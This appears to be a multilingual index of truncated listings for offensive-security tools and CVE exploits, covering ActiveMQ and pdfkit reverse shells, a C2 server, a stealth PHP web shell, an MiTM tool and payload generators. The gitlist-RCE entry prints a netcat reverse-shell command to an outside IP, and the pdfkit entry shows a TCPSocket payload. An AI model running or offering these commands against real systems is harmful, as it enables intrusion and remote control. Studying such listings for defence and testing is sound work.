CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Shell-Inversé-Apache-ActiveMQ Cet exploit s'appuie sur le travail fondamental disponible sur https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Nous avons développé la technique pour obtenir un shell inversé en utilisant le Metasploit Framework...

Port-enumeration

Enumeração de portas Já enfrentou a falta de possibilidade de usar o NMap? Por exemplo, se você tem um reverse shell como um usuário sem privilégios e não há ferramentas úteis pré-instaladas? Este é um pequeno script que o ajudará a escanear uma rede se você não tiver nada. Exemplo de uso:...

kalitorify

Proxy Transparente através do Tor para Kali Linux Sobre o kalitorify kalitorify é um script shell para Kali Linux que usa configurações iptables para criar um Proxy Transparente através da Rede Tor. O programa também permite realizar várias verificações, como verificar o Nó de Saída do Tor ou sej...

injectify

Injectify Realize ataques MiTM avançados em sites com facilidade. ✨ Apoie o desenvolvimento no Patreon ou pontualmente via Paypal Experimente | Instalação | Documentação | Trello | Discord Veja o que está na tela da vítima Capacidade de interagir e clicar em botões A rolagem é sincronizada em amb...

CVE-2019-7609

CVE-2019-7609 إصدارات Kibana قبل 5.6.15 و6.6.1 تحتوي على ثغرة تنفيذ تعليمات برمجية عشوائية في أداة التصور Timelion. يمكن لمهاجم لديه إمكانية الوصول إلى تطبيق Timelion إرسال طلب يحاول تنفيذ كود جافاسكربت. قد يؤدي هذا إلى قيام المهاجم بتنفيذ أوامر عشوائية بصلاحيات عملية Kibana على النظام المضيف...

CVE-2017-8809_MediaWiki_RFD

CVE-2017-8809 - RFDपरावर्तित फ़ाइल डाउनलोड MediaWiki के लिए कोई दूरस्थ उपयोगकर्ता लक्ष्य साइट के लिए एक विशेष रूप से तैयार किया गया URL बना सकता है, जो लक्ष्य उपयोगकर्ता द्वारा लोड करने पर, 'api.php' स्क्रिप्ट को शेल कमांड वाली फ़ाइल डाउनलोड करने का कारण बनेगा CVE-2017-8809। फ़ाइल लक्ष्य साइट...

sidedoor

sidedoor sidedoor mantém uma conexão ou túnel SSH com um daemon de script shell. O caso de uso principal é manter um encaminhamento de porta remota para o servidor SSH local ou outra porta. Assim, o dispositivo local pode ser acessado sem usar conexões de entrada que podem ser bloqueadas por um N...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL के माध्यम से बोल्ड मानों को संशोधित करें: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

RedbloodC2

Versão pública do Redblood C2 root@kitploit: This is a simple command and control server to handle sessions and your victims instalação root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Uso root@kitploit: After install node.js an...

Jatayu

JATAYU Web Shell PHP Independente e Furtivo FUNCIONALIDADES Autenticação Baseada em Cabeçalho HTTP. 100% Indetectável. Alterador de Função de Execução. Nada Sofisticado USO...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter एक Bash स्क्रिप्ट है जो RaspAP इंस्टॉलेशन को स्कैन करने और एक विशिष्ट कमज़ोरी CVE-2022-39986 के लिए उनका परीक्षण करने के लिए डिज़ाइन की गई है। root@kitploit: / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex /...

CVE-2026-79992

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

EUVD-2026-65616

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

CVE-2026-79992

CVE-2026-79992 affects Emacs TRAMP , where a local attacker can achieve arbitrary code execution by processing maliciously crafted filenames. The root cause is that TRAMP concatenates login arguments (derived from the user field) without proper sanitization before passing them to a local shell . ...

payday

Payday مولد حمولات يستخدم Metasploit و Veil. يأخذ عنوان IP كمدخل ثم يبني الحمولات تلقائيًا. يستدعي إطار عمل Veil بعنوان IP المقدم وينشئ ثنائيات ومعالجات. يستخدم msfvenom لإنشاء الحمولات ويكتب ملفات معالجات الموارد بنفس الطريقة التي يفعلها Veil. الخيار --php ينشئ ملف pshell.txt يزيل تلقائيًا...

grype

Grype A vulnerability scanner for container images and filesystems...

CVE-2018-2380

CVE-2018-2380 Pontuação Base CVSS v3: 6.6/10 PoC de Execução Remota de Comandos via injeção de log no SAP NetWeaver AS JAVA CRM Exemplo de uso do script root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true...

gitlist-RCE

gitlist-RCE CVE-2014-4511 مثال: بعد رفع الشيل بنجاح: الوصول: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

NamedPipePTH

NamedPipePTH Este projeto é um código de Prova de Conceito PoC para usar Pass-the-Hash na autenticação em um Named Pipe local para Impersonação de usuário. Também há um post no blog com explicações: https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/ Ele é fortemente baseado nos códigos dos projetos...

nmapAutomator

nmapAutomator Um script que você pode executar em segundo plano! Resumo O principal objetivo deste script é automatizar o processo de enumeração e reconhecimento que é executado toda vez, e em vez disso focar nossa atenção em testes de penetração reais. Isso garantirá duas coisas: 1. Automatizar...